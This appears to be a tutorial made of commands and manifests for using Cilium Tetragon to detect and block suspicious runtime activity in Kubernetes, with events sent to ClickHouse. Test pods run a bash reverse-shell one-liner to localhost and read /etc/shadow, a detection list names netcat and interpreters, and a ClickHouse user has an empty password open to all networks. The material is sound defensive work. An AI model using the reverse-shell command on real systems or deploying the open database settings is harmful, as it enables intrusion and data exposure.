タイトル:CiliumTetragonによるeBPFセキュリティオブザーバビリティ:Kubernetesにおけるリアルタイムランタイム強制

# Add Cilium Helm repository
helm repo add cilium https://helm.cilium.io/

# Update Helm repositories
helm repo update

# Install Tetragon
# Ensure your kernel headers are available on nodes for eBPF compilation.
# For GKE, AKS, EKS, this is typically handled. For custom kernels, you might need to install them.
helm install tetragon cilium/tetragon --namespace kube-system \
  --set tetragon.exporter.stdout.enabled=true \
  --set tetragon.exporter.otlp.url="grpc://otel-collector.observability.svc.cluster.local:4317" \
  --set tetragon.exporter.otlp.enabled=false # We'll enable this later for ClickHouse

kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon

# sensitive-file-access.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-shadow-access
spec:
  kprobes:
  - call: "openat"
    args:
    - index: 0
      type: "int" # dirfd
    - index: 1
      type: "string" # pathname
    - index: 2
      type: "int" # flags
    - index: 3
      type: "int" # mode
    selectors:
    - matchArgs:
      - index: 1
        operator: "Equal"
        values:
        - "/etc/shadow"
      matchPIDs:
      - operator: NotEqual
        followForks: true
        isNamespacePID: true
        values:
        - 1 # Exclude PID 1 (init process) to reduce noise
    action: "Follow" # Log the event

kubectl apply -f sensitive-file-access.yaml

# test-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: shadow-test
spec:
  containers:
  - name: busybox
    image: busybox
    command: ["sh", "-c", "cat /etc/shadow || echo 'Access denied'"]
  restartPolicy: Never

kubectl apply -f test-pod.yaml
kubectl wait --for=condition=complete pod/shadow-test --timeout=60s
kubectl logs shadow-test

kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f | grep "openat" | grep "/etc/shadow"

{"event":{"open":{"args":[{"index":0,"type":"int","value":-100},{"index":1,"type":"string","value":"/etc/shadow"},{"index":2,"type":"int","value":0},{"index":3,"type":"int","value":0}],"fd":3,"flags":"O_RDONLY","path":"/etc/shadow","pid":12345,"process_id":"shadow-test/busybox","tid":12345,"uid":0}},"node_name":"k8s-node-1","process":{"exec_id":"...","pod":{"container":{"id":"...","name":"busybox"},"name":"shadow-test","namespace":"default"}},"type":"process_open"}

# reverse-shell-exec.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-reverse-shell-exec
spec:
  kprobes:
  - call: "execve"
    args:
    - index: 0
      type: "string" # filename
    - index: 1
      type: "string[]" # argv
    selectors:
    - matchArgs:
      - index: 0
        operator: "In"
        values:
        - "/bin/bash"
        - "/bin/sh"
        - "/usr/bin/nc"
        - "/usr/bin/ncat"
        - "/usr/bin/python"
        - "/usr/bin/perl"
        - "/usr/bin/php"
        - "/usr/bin/ruby"
        - "/usr/bin/zsh"
      matchPIDs:
      - operator: NotEqual
        followForks: true
        isNamespacePID: true
        values:
        - 1
    action: "Follow"

kubectl apply -f reverse-shell-exec.yaml

# reverse-shell-test-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: reverse-shell-test
spec:
  containers:
  - name: busybox
    image: busybox
    command: ["sh", "-c", "bash -i >& /dev/tcp/127.0.0.1/8080 0>&1 || echo 'Simulated reverse shell'"]
  restartPolicy: Never

kubectl apply -f reverse-shell-test-pod.yaml
kubectl wait --for=condition=complete pod/reverse-shell-test --timeout=60s
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f | grep "execve" | grep "/bin/bash"

# host-path-access.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-host-path-access
spec:
  kprobes:
  - call: "openat"
    args:
    - index: 0
      type: "int"
    - index: 1
      type: "string"
    - index: 2
      type: "int"
    - index: 3
      type: "int"
    selectors:
    - matchArgs:
      - index: 1
        operator: "Prefix"
        values:
        - "/host/proc"
        - "/host/sys"
        - "/host/var/lib/docker"
        - "/host/var/log"
        - "/host/etc/kubernetes"
        - "/host/root"
        - "/host/boot"
      matchPIDs:
      - operator: NotEqual
        followForks: true
        isNamespacePID: true
        values:
        - 1
    action: "Follow"

kubectl apply -f host-path-access.yaml

# host-path-test-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: host-path-test
spec:
  containers:
  - name: busybox
    image: busybox
    command: ["sh", "-c", "ls -la /host/proc/self/cgroup || echo 'Host path access attempt'"]
    volumeMounts:
    - name: host-proc
      mountPath: /host/proc
  volumes:
  - name: host-proc
    hostPath:
      path: /proc
      type: Directory
  restartPolicy: Never

kubectl apply -f host-path-test-pod.yaml
kubectl wait --for=condition=complete pod/host-path-test --timeout=60s
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f | grep "openat" | grep "/host/proc/self/cgroup"

# sensitive-file-access-block.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shadow-access
spec:
  kprobes:
  - call: "openat"
    args:
    - index: 0
      type: "int"
    - index: 1
      type: "string"
    - index: 2
      type: "int"
    - index: 3
      type: "int"
    selectors:
    - matchArgs:
      - index: 1
        operator: "Equal"
        values:
        - "/etc/shadow"
      matchPIDs:
      - operator: NotEqual
        followForks: true
        isNamespacePID: true
        values:
        - 1
    action: "Override" # This will block the syscall
    return:
      isErr: true
      value: 1 # EPERM (Operation not permitted)

kubectl delete -f sensitive-file-access.yaml
kubectl apply -f sensitive-file-access-block.yaml

kubectl delete pod shadow-test
kubectl apply -f test-pod.yaml
kubectl wait --for=condition=complete pod/shadow-test --timeout=60s
kubectl logs shadow-test

# otel-collector.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: otel-collector
  namespace: observability
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: otel-collector
rules:
- apiGroups: [""]
  resources: ["pods", "nodes", "namespaces"]
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: otel-collector
subjects:
- kind: ServiceAccount
  name: otel-collector
  namespace: observability
roleRef:
  kind: ClusterRole
  name: otel-collector
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: otel-collector-config
  namespace: observability
data:
  otel-collector-config.yaml: |
    receivers:
      otlp:
        protocols:
          grpc:
          http:
    processors:
      batch:
        send_batch_size: 1000
        timeout: 5s
    exporters:
      clickhouse:
        endpoint: "tcp://clickhouse-server.observability.svc.cluster.local:9000"
        database: "tetragon_events"
        table: "events"
        username: "default"
        password: "" # Use K8s secrets for production
        tls:
          insecure: true # Use proper TLS in production
    service:
      pipelines:
        logs:
          receivers: [otlp]
          processors: [batch]
          exporters: [clickhouse]
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: otel-collector
  namespace: observability
spec:
  replicas: 1
  selector:
    matchLabels:
      app: otel-collector
  template:
    metadata:
      labels:
        app: otel-collector
    spec:
      serviceAccountName: otel-collector
      containers:
      - name: otel-collector
        image: otel/opentelemetry-collector-contrib:latest
        command: ["/otelcol-contrib", "--config=/conf/otel-collector-config.yaml"]
        volumeMounts:
        - name: otel-collector-config-vol
          mountPath: /conf
        ports:
        - containerPort: 4317 # OTLP gRPC
        - containerPort: 4318 # OTLP HTTP
      volumes:
      - name: otel-collector-config-vol
        configMap:
          name: otel-collector-config
---
apiVersion: v1
kind: Service
metadata:
  name: otel-collector
  namespace: observability
spec:
  selector:
    app: otel-collector
  ports:
  - name: otlp-grpc
    protocol: TCP
    port: 4317
    targetPort: 4317
  - name: otlp-http
    protocol: TCP
    port: 4318
    targetPort: 4318

kubectl create namespace observability
kubectl apply -f otel-collector.yaml

# clickhouse.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: clickhouse
  namespace: observability
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: clickhouse-server
  namespace: observability
spec:
  selector:
    matchLabels:
      app: clickhouse-server
  template:
    metadata:
      labels:
        app: clickhouse-server
    spec:
      serviceAccountName: clickhouse
      containers:
      - name: clickhouse-server
        image: clickhouse/clickhouse-server:latest
        ports:
        - containerPort: 8123 # HTTP
        - containerPort: 9000 # Client
        - containerPort: 9009 # Inter-server
        volumeMounts:
        - name: clickhouse-storage
          mountPath: /var/lib/clickhouse
        - name: clickhouse-config
          mountPath: /etc/clickhouse-server/config.d
        - name: clickhouse-users
          mountPath: /etc/clickhouse-server/users.d
      volumes:
      - name: clickhouse-storage
        emptyDir: {} # Use PersistentVolumeClaim in production
      - name: clickhouse-config
        configMap:
          name: clickhouse-config
      - name: clickhouse-users
        configMap:
          name: clickhouse-users
---
apiVersion: v1
kind: Service
metadata:
  name: clickhouse-server
  namespace: observability
spec:
  selector:
    app: clickhouse-server
  ports:
  - name: http
    protocol: TCP
    port: 8123
    targetPort: 8123
  - name: client
    protocol: TCP
    port: 9000
    targetPort: 9000
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: clickhouse-config
  namespace: observability
data:
  logging.xml: |
    <yandex>
        <logger>
            <level>trace</level>
            <log>/var/log/clickhouse-server/clickhouse-server.log</log>
            <errorlog>/var/log/clickhouse-server/clickhouse-server.err.log</log>
            <size_log>1000M</size_log>
            <count_log>10</count_log>
        </logger>
    </yandex>
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: clickhouse-users
  namespace: observability
data:
  users.xml: |
    <yandex>
        <users>
            <default>
                <password></password>
                <networks>
                    <ip>::/0</ip>
                </networks>
                <profile>default</profile>
                <quota>default</quota>
            </default>
        </users>
    </yandex>

kubectl apply -f clickhouse.yaml

kubectl exec -it deployment/clickhouse-server -n observability -- clickhouse-client -q "CREATE DATABASE IF NOT EXISTS tetragon_events;"
kubectl exec -it deployment/clickhouse-server -n observability -- clickhouse-client -q "
CREATE TABLE IF NOT EXISTS tetragon_events.events (
    Timestamp DateTime64(9),
    NodeName String,
    EventType String,
    ProcessExecID String,
    ProcessPID UInt64,
    ProcessTID UInt64,
    ProcessUID UInt64,
    ProcessName String,
    ProcessArgs Array(String),
    ProcessCwd String,
    ProcessPodNamespace String,
    ProcessPodName String,
    ProcessContainerName String,
    EventData String
) ENGINE = MergeTree()
ORDER BY (Timestamp, NodeName, EventType)
SETTINGS index_granularity = 8192;
"

helm upgrade tetragon cilium/tetragon --namespace kube-system \
  --set tetragon.exporter.stdout.enabled=false \
  --set tetragon.exporter.otlp.url="otel-collector.observability.svc.cluster.local:4317" \
  --set tetragon.exporter.otlp.enabled=true

kubectl exec -it deployment/clickhouse-server -n observability -- clickhouse-client -q "SELECT * FROM tetragon_events.events LIMIT 10;"

# prometheus-servicemonitor.yaml
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  name: tetragon-servicemonitor
  namespace: kube-system # Or your monitoring namespace
  labels:
    release: prometheus-operator # Match your Prometheus operator's selector
spec:
  selector:
    matchLabels:
      app.kubernetes.io/name: tetragon
  namespaceSelector:
    matchNames:
    - kube-system
  endpoints:
  - port: metrics
    interval: 30s
    path: /metrics